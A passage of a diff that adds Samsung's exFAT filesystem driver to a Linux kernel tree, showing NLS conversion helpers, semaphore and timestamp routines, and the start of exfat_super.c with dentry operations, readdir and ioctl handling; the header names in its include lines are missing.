(lossy != NULL) + *lossy = TRUE; + *uni = (u16) '_'; + if (!strcmp(nls->charset, "utf8")) + return 1; + else + return 2; + } + + return len; +} /* end of convert_ch_to_uni */ + +static s32 convert_uni_to_ch(struct nls_table *nls, u8 *ch, u16 uni, s32 *lossy) +{ + int len; + + ch[0] = 0x0; + + if (uni < 0x0080) { + ch[0] = (u8) uni; + return 1; + } + + len = nls->uni2char(uni, ch, NLS_MAX_CHARSET_SIZE); + if (len < 0) { + /* conversion failed */ + printk("%s: fail to use nls\n", __func__); + if (lossy != NULL) + *lossy = TRUE; + ch[0] = '_'; + return 1; + } + + return len; + +} /* end of convert_uni_to_ch */ diff --git a/fs/exfat/exfat_nls.h b/fs/exfat/exfat_nls.h new file mode 100644 index 0000000000000..bc516d762e903 --- /dev/null +++ b/fs/exfat/exfat_nls.h @@ -0,0 +1,91 @@ +/* + * Copyright (C) 2012-2013 Samsung Electronics Co., Ltd. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version 2 + * of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + */ + +/************************************************************************/ +/* */ +/* PROJECT : exFAT & FAT12/16/32 File System */ +/* FILE : exfat_nls.h */ +/* PURPOSE : Header File for exFAT NLS Manager */ +/* */ +/*----------------------------------------------------------------------*/ +/* NOTES */ +/* */ +/*----------------------------------------------------------------------*/ +/* REVISION HISTORY (Ver 0.9) */ +/* */ +/* - 2010.11.15 [Joosun Hahn] : first writing */ +/* */ +/************************************************************************/ + +#ifndef _EXFAT_NLS_H +#define _EXFAT_NLS_H + +#include +#include + +#include "exfat_config.h" +#include "exfat_api.h" + +/*----------------------------------------------------------------------*/ +/* Constant & Macro Definitions */ +/*----------------------------------------------------------------------*/ + +#define NUM_UPCASE 2918 + +#define DOS_CUR_DIR_NAME ". " +#define DOS_PAR_DIR_NAME ".. " + +#ifdef __LITTLE_ENDIAN +#define UNI_CUR_DIR_NAME ".\0" +#define UNI_PAR_DIR_NAME ".\0.\0" +#else +#define UNI_CUR_DIR_NAME "\0." +#define UNI_PAR_DIR_NAME "\0.\0." +#endif + +/*----------------------------------------------------------------------*/ +/* Type Definitions */ +/*----------------------------------------------------------------------*/ + +/* DOS name stucture */ +typedef struct { + u8 name[DOS_NAME_LENGTH]; + u8 name_case; +} DOS_NAME_T; + +/* unicode name stucture */ +typedef struct { + u16 name[MAX_NAME_LENGTH]; + u16 name_hash; + u8 name_len; +} UNI_NAME_T; + +/*----------------------------------------------------------------------*/ +/* External Function Declarations */ +/*----------------------------------------------------------------------*/ + +/* NLS management function */ +u16 nls_upper(struct super_block *sb, u16 a); +s32 nls_dosname_cmp(struct super_block *sb, u8 *a, u8 *b); +s32 nls_uniname_cmp(struct super_block *sb, u16 *a, u16 *b); +void nls_uniname_to_dosname(struct super_block *sb, DOS_NAME_T *p_dosname, UNI_NAME_T *p_uniname, s32 *p_lossy); +void nls_dosname_to_uniname(struct super_block *sb, UNI_NAME_T *p_uniname, DOS_NAME_T *p_dosname); +void nls_uniname_to_cstring(struct super_block *sb, u8 *p_cstring, UNI_NAME_T *p_uniname); +void nls_cstring_to_uniname(struct super_block *sb, UNI_NAME_T *p_uniname, u8 *p_cstring, s32 *p_lossy); + +#endif /* _EXFAT_NLS_H */ diff --git a/fs/exfat/exfat_oal.c b/fs/exfat/exfat_oal.c new file mode 100644 index 0000000000000..9b3399826a5b8 --- /dev/null +++ b/fs/exfat/exfat_oal.c @@ -0,0 +1,190 @@ +/* Some of the source code in this file came from "linux/fs/fat/misc.c". */ +/* + * linux/fs/fat/misc.c + * + * Written 1992,1993 by Werner Almesberger + * 22/11/2000 - Fixed fat_date_unix2dos for dates earlier than 01/01/1980 + * and date_dos2unix for date==0 by Igor Zhbanov(bsg@uniyar.ac.ru) + */ + +/* + * Copyright (C) 2012-2013 Samsung Electronics Co., Ltd. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version 2 + * of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + */ + +/************************************************************************/ +/* */ +/* PROJECT : exFAT & FAT12/16/32 File System */ +/* FILE : exfat_oal.c */ +/* PURPOSE : exFAT OS Adaptation Layer */ +/* (Semaphore Functions & Real-Time Clock Functions) */ +/* */ +/*----------------------------------------------------------------------*/ +/* NOTES */ +/* */ +/*----------------------------------------------------------------------*/ +/* REVISION HISTORY (Ver 0.9) */ +/* */ +/* - 2010.11.15 [Joosun Hahn] : first writing */ +/* */ +/************************************************************************/ + +#include +#include + +#include "exfat_config.h" +#include "exfat_api.h" +#include "exfat_oal.h" + +/*======================================================================*/ +/* */ +/* SEMAPHORE FUNCTIONS */ +/* */ +/*======================================================================*/ + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,36) +DECLARE_MUTEX(z_sem); +#else +DEFINE_SEMAPHORE(z_sem); +#endif + +s32 sm_init(struct semaphore *sm) +{ + sema_init(sm, 1); + return 0; +} /* end of sm_init */ + +s32 sm_P(struct semaphore *sm) +{ + down(sm); + return 0; +} /* end of sm_P */ + +void sm_V(struct semaphore *sm) +{ + up(sm); +} /* end of sm_V */ + + +/*======================================================================*/ +/* */ +/* REAL-TIME CLOCK FUNCTIONS */ +/* */ +/*======================================================================*/ + +extern struct timezone sys_tz; + +/* + * The epoch of FAT timestamp is 1980. + * : bits : value + * date: 0 - 4: day (1 - 31) + * date: 5 - 8: month (1 - 12) + * date: 9 - 15: year (0 - 127) from 1980 + * time: 0 - 4: sec (0 - 29) 2sec counts + * time: 5 - 10: min (0 - 59) + * time: 11 - 15: hour (0 - 23) + */ +#define UNIX_SECS_1980 315532800L + +#if BITS_PER_LONG == 64 +#define UNIX_SECS_2108 4354819200L +#endif +/* days between 1.1.70 and 1.1.80 (2 leap days) */ +#define DAYS_DELTA_DECADE (365 * 10 + 2) +/* 120 (2100 - 1980) isn't leap year */ +#define NO_LEAP_YEAR_2100 (120) +#define IS_LEAP_YEAR(y) (!((y) & 3) && (y) != NO_LEAP_YEAR_2100) + +#define SECS_PER_MIN (60) +#define SECS_PER_HOUR (60 * SECS_PER_MIN) +#define SECS_PER_DAY (24 * SECS_PER_HOUR) + +#define MAKE_LEAP_YEAR(leap_year, year) \ + do { \ + if (unlikely(year > NO_LEAP_YEAR_2100)) \ + leap_year = ((year + 3) / 4) - 1; \ + else \ + leap_year = ((year + 3) / 4); \ + } while (0) + +/* Linear day numbers of the respective 1sts in non-leap years. */ +static time_t accum_days_in_year[] = { + /* Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec */ + 0, 0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334, 0, 0, 0, +}; + +TIMESTAMP_T *tm_current(TIMESTAMP_T *tp) +{ + struct timespec ts = CURRENT_TIME_SEC; + time_t second = ts.tv_sec; + time_t day, leap_day, month, year; + + second -= sys_tz.tz_minuteswest * SECS_PER_MIN; + + /* Jan 1 GMT 00:00:00 1980. But what about another time zone? */ + if (second < UNIX_SECS_1980) { + tp->sec = 0; + tp->min = 0; + tp->hour = 0; + tp->day = 1; + tp->mon = 1; + tp->year = 0; + return tp; + } +#if BITS_PER_LONG == 64 + if (second >= UNIX_SECS_2108) { + tp->sec = 59; + tp->min = 59; + tp->hour = 23; + tp->day = 31; + tp->mon = 12; + tp->year = 127; + return tp; + } +#endif + + day = second / SECS_PER_DAY - DAYS_DELTA_DECADE; + year = day / 365; + + MAKE_LEAP_YEAR(leap_day, year); + if (year * 365 + leap_day > day) + year--; + + MAKE_LEAP_YEAR(leap_day, year); + + day -= year * 365 + leap_day; + + if (IS_LEAP_YEAR(year) && day == accum_days_in_year[3]) { + month = 2; + } else { + if (IS_LEAP_YEAR(year) && day > accum_days_in_year[3]) + day--; + for (month = 1; month < 12; month++) { + if (accum_days_in_year[month + 1] > day) + break; + } + } + day -= accum_days_in_year[month]; + + tp->sec = second % SECS_PER_MIN; + tp->min = (second / SECS_PER_MIN) % 60; + tp->hour = (second / SECS_PER_HOUR) % 24; + tp->day = day + 1; + tp->mon = month; + tp->year = year; + + return tp; +} /* end of tm_current */ diff --git a/fs/exfat/exfat_oal.h b/fs/exfat/exfat_oal.h new file mode 100644 index 0000000000000..b6dd7897ab6e2 --- /dev/null +++ b/fs/exfat/exfat_oal.h @@ -0,0 +1,74 @@ +/* + * Copyright (C) 2012-2013 Samsung Electronics Co., Ltd. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version 2 + * of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + */ + +/************************************************************************/ +/* */ +/* PROJECT : exFAT & FAT12/16/32 File System */ +/* FILE : exfat_oal.h */ +/* PURPOSE : Header File for exFAT OS Adaptation Layer */ +/* (Semaphore Functions & Real-Time Clock Functions) */ +/* */ +/*----------------------------------------------------------------------*/ +/* NOTES */ +/* */ +/*----------------------------------------------------------------------*/ +/* REVISION HISTORY (Ver 0.9) */ +/* */ +/* - 2010.11.15 [Joosun Hahn] : first writing */ +/* */ +/************************************************************************/ + +#ifndef _EXFAT_OAL_H +#define _EXFAT_OAL_H + +#include +#include "exfat_config.h" +#include + +/*----------------------------------------------------------------------*/ +/* Constant & Macro Definitions (Configurable) */ +/*----------------------------------------------------------------------*/ + +/*----------------------------------------------------------------------*/ +/* Constant & Macro Definitions (Non-Configurable) */ +/*----------------------------------------------------------------------*/ + +/*----------------------------------------------------------------------*/ +/* Type Definitions */ +/*----------------------------------------------------------------------*/ + +typedef struct { + u16 sec; /* 0 ~ 59 */ + u16 min; /* 0 ~ 59 */ + u16 hour; /* 0 ~ 23 */ + u16 day; /* 1 ~ 31 */ + u16 mon; /* 1 ~ 12 */ + u16 year; /* 0 ~ 127 (since 1980) */ +} TIMESTAMP_T; + +/*----------------------------------------------------------------------*/ +/* External Function Declarations */ +/*----------------------------------------------------------------------*/ + +s32 sm_init(struct semaphore *sm); +s32 sm_P(struct semaphore *sm); +void sm_V(struct semaphore *sm); + +TIMESTAMP_T *tm_current(TIMESTAMP_T *tm); + +#endif /* _EXFAT_OAL_H */ diff --git a/fs/exfat/exfat_super.c b/fs/exfat/exfat_super.c new file mode 100644 index 0000000000000..02d4fd2c74226 --- /dev/null +++ b/fs/exfat/exfat_super.c @@ -0,0 +1,2617 @@ +/* Some of the source code in this file came from "linux/fs/fat/file.c","linux/fs/fat/inode.c" and "linux/fs/fat/misc.c". */ +/* + * linux/fs/fat/file.c + * + * Written 1992,1993 by Werner Almesberger + * + * regular file handling primitives for fat-based filesystems + */ + +/* + * linux/fs/fat/inode.c + * + * Written 1992,1993 by Werner Almesberger + * VFAT extensions by Gordon Chaffee, merged with msdos fs by Henrik Storner + * Rewritten for the constant inumbers support by Al Viro + * + * Fixes: + * + * Max Cohan: Fixed invalid FSINFO offset when info_sector is 0 + */ + +/* + * linux/fs/fat/misc.c + * + * Written 1992,1993 by Werner Almesberger + * 22/11/2000 - Fixed fat_date_unix2dos for dates earlier than 01/01/1980 + * and date_dos2unix for date==0 by Igor Zhbanov(bsg@uniyar.ac.ru) + */ + +/* + * Copyright (C) 2012-2013 Samsung Electronics Co., Ltd. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version 2 + * of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + */ + +#include +#include +#include +#include +#include +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,37) +#include +#endif +#include +#include +#include +#include +#include +#include +#include +#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,10,0) +#include +#endif +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "exfat_version.h" +#include "exfat_config.h" +#include "exfat_data.h" +#include "exfat_oal.h" + +#include "exfat_blkdev.h" +#include "exfat_cache.h" +#include "exfat_nls.h" +#include "exfat_api.h" +#include "exfat_core.h" + +#include "exfat_super.h" + +static struct kmem_cache *exfat_inode_cachep; + +static int exfat_default_codepage = CONFIG_EXFAT_DEFAULT_CODEPAGE; +static char exfat_default_iocharset[] = CONFIG_EXFAT_DEFAULT_IOCHARSET; + +extern struct timezone sys_tz; + +#define CHECK_ERR(x) BUG_ON(x) + +#define UNIX_SECS_1980 315532800L + +#if BITS_PER_LONG == 64 +#define UNIX_SECS_2108 4354819200L +#endif +/* days between 1.1.70 and 1.1.80 (2 leap days) */ +#define DAYS_DELTA_DECADE (365 * 10 + 2) +/* 120 (2100 - 1980) isn't leap year */ +#define NO_LEAP_YEAR_2100 (120) +#define IS_LEAP_YEAR(y) (!((y) & 0x3) && (y) != NO_LEAP_YEAR_2100) + +#define SECS_PER_MIN (60) +#define SECS_PER_HOUR (60 * SECS_PER_MIN) +#define SECS_PER_DAY (24 * SECS_PER_HOUR) + +#define MAKE_LEAP_YEAR(leap_year, year) \ + do { \ + if (unlikely(year > NO_LEAP_YEAR_2100)) \ + leap_year = ((year + 3) / 4) - 1; \ + else \ + leap_year = ((year + 3) / 4); \ + } while (0) + +/* Linear day numbers of the respective 1sts in non-leap years. */ +static time_t accum_days_in_year[] = { + /* Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec */ + 0, 0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334, 0, 0, 0, +}; + +static void _exfat_truncate(struct inode *inode, loff_t old_size); + +/* Convert a FAT time/date pair to a UNIX date (seconds since 1 1 70). */ +void exfat_time_fat2unix(struct exfat_sb_info *sbi, struct timespec *ts, + DATE_TIME_T *tp) +{ + time_t year = tp->Year; + time_t ld; + + MAKE_LEAP_YEAR(ld, year); + + if (IS_LEAP_YEAR(year) && (tp->Month) > 2) + ld++; + + ts->tv_sec = tp->Second + tp->Minute * SECS_PER_MIN + + tp->Hour * SECS_PER_HOUR + + (year * 365 + ld + accum_days_in_year[(tp->Month)] + (tp->Day - 1) + DAYS_DELTA_DECADE) * SECS_PER_DAY + + sys_tz.tz_minuteswest * SECS_PER_MIN; + ts->tv_nsec = 0; +} + +/* Convert linear UNIX date to a FAT time/date pair. */ +void exfat_time_unix2fat(struct exfat_sb_info *sbi, struct timespec *ts, + DATE_TIME_T *tp) +{ + time_t second = ts->tv_sec; + time_t day, month, year; + time_t ld; + + second -= sys_tz.tz_minuteswest * SECS_PER_MIN; + + /* Jan 1 GMT 00:00:00 1980. But what about another time zone? */ + if (second < UNIX_SECS_1980) { + tp->Second = 0; + tp->Minute = 0; + tp->Hour = 0; + tp->Day = 1; + tp->Month = 1; + tp->Year = 0; + return; + } +#if (BITS_PER_LONG == 64) + if (second >= UNIX_SECS_2108) { + tp->Second = 59; + tp->Minute = 59; + tp->Hour = 23; + tp->Day = 31; + tp->Month = 12; + tp->Year = 127; + return; + } +#endif + day = second / SECS_PER_DAY - DAYS_DELTA_DECADE; + year = day / 365; + MAKE_LEAP_YEAR(ld, year); + if (year * 365 + ld > day) + year--; + + MAKE_LEAP_YEAR(ld, year); + day -= year * 365 + ld; + + if (IS_LEAP_YEAR(year) && day == accum_days_in_year[3]) { + month = 2; + } else { + if (IS_LEAP_YEAR(year) && day > accum_days_in_year[3]) + day--; + for (month = 1; month < 12; month++) { + if (accum_days_in_year[month + 1] > day) + break; + } + } + day -= accum_days_in_year[month]; + + tp->Second = second % SECS_PER_MIN; + tp->Minute = (second / SECS_PER_MIN) % 60; + tp->Hour = (second / SECS_PER_HOUR) % 24; + tp->Day = day + 1; + tp->Month = month; + tp->Year = year; +} + +static struct inode *exfat_iget(struct super_block *sb, loff_t i_pos); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,36) +static int exfat_generic_ioctl(struct inode *inode, struct file *filp, unsigned int cmd, unsigned long arg); +#else +static long exfat_generic_ioctl(struct file *filp, unsigned int cmd, unsigned long arg); +#endif +static int exfat_sync_inode(struct inode *inode); +static struct inode *exfat_build_inode(struct super_block *sb, FILE_ID_T *fid, loff_t i_pos); +static void exfat_detach(struct inode *inode); +static void exfat_attach(struct inode *inode, loff_t i_pos); +static inline unsigned long exfat_hash(loff_t i_pos); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,34) +static int exfat_write_inode(struct inode *inode, int wait); +#else +static int exfat_write_inode(struct inode *inode, struct writeback_control *wbc); +#endif +static void exfat_write_super(struct super_block *sb); + +static void __lock_super(struct super_block *sb) +{ +#if LINUX_VERSION_CODE < KERNEL_VERSION(3,7,0) + lock_super(sb); +#else + struct exfat_sb_info *sbi = EXFAT_SB(sb); + mutex_lock(&sbi->s_lock); +#endif +} + +static void __unlock_super(struct super_block *sb) +{ +#if LINUX_VERSION_CODE < KERNEL_VERSION(3,7,0) + unlock_super(sb); +#else + struct exfat_sb_info *sbi = EXFAT_SB(sb); + mutex_unlock(&sbi->s_lock); +#endif +} + +static int __is_sb_dirty(struct super_block *sb) +{ +#if LINUX_VERSION_CODE < KERNEL_VERSION(3,7,0) + return sb->s_dirt; +#else + struct exfat_sb_info *sbi = EXFAT_SB(sb); + return sbi->s_dirt; +#endif +} + +static void __set_sb_clean(struct super_block *sb) +{ +#if LINUX_VERSION_CODE < KERNEL_VERSION(3,7,0) + sb->s_dirt = 0; +#else + struct exfat_sb_info *sbi = EXFAT_SB(sb); + sbi->s_dirt = 0; +#endif +} + +static int __exfat_revalidate(struct dentry *dentry) +{ + return 0; +} + +#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,7,00) +static int exfat_revalidate(struct dentry *dentry, unsigned int flags) +#else +static int exfat_revalidate(struct dentry *dentry, struct nameidata *nd) +#endif +{ +#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,7,00) + if (flags & LOOKUP_RCU) + return -ECHILD; +#elif LINUX_VERSION_CODE >= KERNEL_VERSION(3,0,00) + if (nd && nd->flags & LOOKUP_RCU) + return -ECHILD; +#endif + + if (dentry->d_inode) + return 1; + return __exfat_revalidate(dentry); +} + +#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,7,00) +static int exfat_revalidate_ci(struct dentry *dentry, unsigned int flags) +#else +static int exfat_revalidate_ci(struct dentry *dentry, struct nameidata *nd) +#endif +{ +#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,7,00) + if (flags & LOOKUP_RCU) + return -ECHILD; +#else + unsigned int flags; + +#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,0,00) + if (nd && nd->flags & LOOKUP_RCU) + return -ECHILD; +#endif + + flags = nd ? nd->flags : 0; +#endif + + if (dentry->d_inode) + return 1; + + if (!flags) + return 0; + +#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,0,00) + if (flags & (LOOKUP_CREATE | LOOKUP_RENAME_TARGET)) + return 0; +#else + if (!(nd->flags & (LOOKUP_CONTINUE | LOOKUP_PARENT))) { + if (nd->flags & (LOOKUP_CREATE | LOOKUP_RENAME_TARGET)) + return 0; + } +#endif + + return __exfat_revalidate(dentry); +} + +static unsigned int __exfat_striptail_len(unsigned int len, const char *name) +{ + while (len && name[len - 1] == '.') + len--; + return len; +} + +static unsigned int exfat_striptail_len(const struct qstr *qstr) +{ + return __exfat_striptail_len(qstr->len, qstr->name); +} + +#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,11,0) +static int exfat_d_hash(const struct dentry *dentry, struct qstr *qstr) +#elif LINUX_VERSION_CODE < KERNEL_VERSION(2,6,38) +static int exfat_d_hash(struct dentry *dentry, struct qstr *qstr) +#else +static int exfat_d_hash(const struct dentry *dentry, const struct inode *inode, + struct qstr *qstr) +#endif +{ + qstr->hash = full_name_hash(qstr->name, exfat_striptail_len(qstr)); + return 0; +} + +#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,11,0) +static int exfat_d_hashi(const struct dentry *dentry, struct qstr *qstr) +#elif LINUX_VERSION_CODE < KERNEL_VERSION(2,6,38) +static int exfat_d_hashi(struct dentry *dentry, struct qstr *qstr) +#else +static int exfat_d_hashi(const struct dentry *dentry, const struct inode *inode, + struct qstr *qstr) +#endif +{ + struct super_block *sb = dentry->d_sb; + const unsigned char *name; + unsigned int len; + unsigned long hash; + + name = qstr->name; + len = exfat_striptail_len(qstr); + + hash = init_name_hash(); + while (len--) + hash = partial_name_hash(nls_upper(sb, *name++), hash); + qstr->hash = end_name_hash(hash); + + return 0; +} + +#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,11,0) +static int exfat_cmpi(const struct dentry *parent, const struct dentry *dentry, + unsigned int len, const char *str, const struct qstr *name) +#elif LINUX_VERSION_CODE < KERNEL_VERSION(2,6,38) +static int exfat_cmpi(struct dentry *parent, struct qstr *a, struct qstr *b) +#else +static int exfat_cmpi(const struct dentry *parent, const struct inode *pinode, + const struct dentry *dentry, const struct inode *inode, + unsigned int len, const char *str, const struct qstr *name) +#endif +{ + struct nls_table *t = EXFAT_SB(parent->d_sb)->nls_io; + unsigned int alen, blen; + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,38) + alen = exfat_striptail_len(a); + blen = exfat_striptail_len(b); +#else + alen = exfat_striptail_len(name); + blen = __exfat_striptail_len(len, str); +#endif + if (alen == blen) { + if (t == NULL) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,38) + if (strncasecmp(a->name, b->name, alen) == 0) +#else + if (strncasecmp(name->name, str, alen) == 0) +#endif + return 0; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,38) + } else if (nls_strnicmp(t, a->name, b->name, alen) == 0) +#else + } else if (nls_strnicmp(t, name->name, str, alen) == 0) +#endif + return 0; + } + return 1; +} + +#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,11,0) +static int exfat_cmp(const struct dentry *parent, const struct dentry *dentry, + unsigned int len, const char *str, const struct qstr *name) +#elif LINUX_VERSION_CODE < KERNEL_VERSION(2,6,38) +static int exfat_cmp(struct dentry *parent, struct qstr *a, + struct qstr *b) +#else +static int exfat_cmp(const struct dentry *parent, const struct inode *pinode, + const struct dentry *dentry, const struct inode *inode, + unsigned int len, const char *str, const struct qstr *name) +#endif +{ + unsigned int alen, blen; + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,38) + alen = exfat_striptail_len(a); + blen = exfat_striptail_len(b); +#else + alen = exfat_striptail_len(name); + blen = __exfat_striptail_len(len, str); +#endif + if (alen == blen) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,38) + if (strncmp(a->name, b->name, alen) == 0) +#else + if (strncmp(name->name, str, alen) == 0) +#endif + return 0; + } + return 1; +} + +static const struct dentry_operations exfat_ci_dentry_ops = { + .d_revalidate = exfat_revalidate_ci, + .d_hash = exfat_d_hashi, + .d_compare = exfat_cmpi, +}; + +static const struct dentry_operations exfat_dentry_ops = { + .d_revalidate = exfat_revalidate, + .d_hash = exfat_d_hash, + .d_compare = exfat_cmp, +}; + +/*======================================================================*/ +/* Directory Entry Operations */ +/*======================================================================*/ + +#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,11,0) +static int exfat_readdir(struct file *filp, struct dir_context *ctx) +#else +static int exfat_readdir(struct file *filp, void *dirent, filldir_t filldir) +#endif +{ +#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,9,0) + struct inode *inode = file_inode(filp); +#else + struct inode *inode = filp->f_path.dentry->d_inode; +#endif + struct super_block *sb = inode->i_sb; + struct exfat_sb_info *sbi = EXFAT_SB(sb); + FS_INFO_T *p_fs = &(sbi->fs_info); + BD_INFO_T *p_bd = &(EXFAT_SB(sb)->bd_info); + DIR_ENTRY_T de; + unsigned long inum; + loff_t cpos; + int err = 0; + + __lock_super(sb); + +#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,11,0) + cpos = ctx->pos; +#else + cpos = filp->f_pos; +#endif + /* Fake . and .. for the root directory. */ + if ((p_fs->vol_type == EXFAT) || (inode->i_ino == EXFAT_ROOT_INO)) { + while (cpos < 2) { + if (inode->i_ino == EXFAT_ROOT_INO) + inum = EXFAT_ROOT_INO; + else if (cpos == 0) + inum = inode->i_ino; + else /* (cpos == 1) */ + inum = parent_ino(filp->f_path.dentry); + +#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,11,0) + if (!dir_emit_dots(filp, ctx)) +#else + if (filldir(dirent, "..", cpos+1, cpos, inum, DT_DIR) < 0) +#endif + goto out; + cpos++; +#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,11,0) + ctx->pos++; +#else + filp->f_pos++; +#endif + } + if (cpos == 2) + cpos = 0; + } + if (cpos & (DENTRY_SIZE - 1)) { + err = -ENOENT; + goto out; + } + +get_new: + EXFAT_I(inode)->fid.size = i_size_read(inode); + EXFAT_I(inode)->fid.rwoffset = cpos >> DENTRY_SIZE_BITS; + + err = FsReadDir(inode, &de); + if (err) { + /* at least we tried to read a sector + * move cpos to next sector position (should be aligned) + */ + if (err == FFS_MEDIAERR) { + cpos += 1 << p_bd->sector_size_bits; + cpos &= ~((1 << p_bd->sector_size_bits)-1); + } + + err = -EIO; + goto end_of_dir; + } + + cpos = EXFAT_I(inode)->fid.rwoffset << DENTRY_SIZE_BITS; + + if (!de.Name[0]) + goto end_of_dir; + + if (!memcmp(de.ShortName, DOS_CUR_DIR_NAME, DOS_NAME_LENGTH)) { + inum = inode->i_ino; + } else if (!memcmp(de.ShortName, DOS_PAR_DIR_NAME, DOS_NAME_LENGTH)) { + inum = parent_ino(filp->f_path.dentry); + } else { + loff_t i_pos = ((loff_t) EXFAT_I(inode)->fid.start_clu << 32) | + ((EXFAT_I(inode)->fid.rwoffset-1) & 0xffffffff); + + struct inode *tmp = exfat_iget(sb, i_pos); + if (tmp) { + inum = tmp->i_ino; + iput(tmp); + } else { + inum = iunique(sb, EXFAT_ROOT_INO); + } + } + +#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,11,0) + if (!dir_emit(ctx, de.Name, strlen(de.Name), inum, + (de.Attr & ATTR_SUBDIR) ? DT_DIR : DT_REG)) +#else + if (filldir(dirent, de.Name, strlen(de.Name), cpos-1, inum, + (de.Attr & ATTR_SUBDIR) ? DT_DIR : DT_REG) < 0) +#endif + goto out; + +#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,11,0) + ctx->pos = cpos; +#else + filp->f_pos = cpos; +#endif + goto get_new; + +end_of_dir: +#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,11,0) + ctx->pos = cpos; +#else + filp->f_pos = cpos; +#endif +out: + __unlock_super(sb); + return err; +} + +static int exfat_ioctl_volume_id(struct inode *dir) +{ + struct super_block *sb = dir->i_sb; + struct exfat_sb_info *sbi = EXFAT_SB(sb); + FS_INFO_T *p_fs = &(sbi->fs_info); + + return p_fs->vol_id; +} + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,36) +static int exfat_generic_ioctl(struct inode *inode, struct file *filp, + unsigned int cmd, unsigned long arg) +#else +static long exfat_generic_ioctl(struct file *filp, + unsigned int cmd, unsigned long arg) +#endif +{ +#if !(LINUX_VERSION_CODE < KERNEL_VERSION(2,6,36)) + #if !(LINUX_VERSION_CODE < KERNEL_VERSION(3,18,3)) + struct inode *inode = filp->f_path.dentry->d_inode; + #else + struct inode *inode = filp->f_dentry->d_inode; + #endif +#endif +#ifdef CONFIG_EXFAT_KERNEL_DEBUG + unsigned int flags; +#endif /* CONFIG_EXFAT_KERNEL_DEBUG */ + + switch (cmd) { + case EXFAT_IOCTL_GET_VOLUME_ID: + return exfat_ioctl_volume_id(inode); +#ifdef CONFIG_EXFAT_KERNEL_DEBUG + case EXFAT_IOC_GET_DEBUGFLAGS: { + struct super_block *sb = inode->i_sb; + struct exfat_sb_info *sbi = EXFAT_SB(sb); + + flags = sbi->debug_flags; + return put_user(flags, (int __user *)arg); + } + case EXFAT_IOC_SET_DEBUGFLAGS: { + struct super_block *sb = inode->i_sb; + struct exfat_sb_info *sbi = EXFAT_SB(sb); + + if (!capable(CAP_SYS_ADMIN)) + return -EPERM; + + if (get_user(flags, (int __user *) arg)) + return -EFAULT; + + __lock_super(sb); + sbi->debug_flags = flags; + __unlock_super(sb); + + return 0; + } +#endif /* CONFIG_EXFAT_KERNEL_DEBUG */ + default: + return -ENOTTY; /* Inappropriate ioctl for device */ + } +} + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,36) +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,35) +static int exfat_file_fsync(struct file *filp, struct dentry *dentry, + int datasync) +#else +static int exfat_file_fsync(struct file *filp, int datasync) +#endif +{ + struct inode *inode = filp->f_mapping->host; + struct 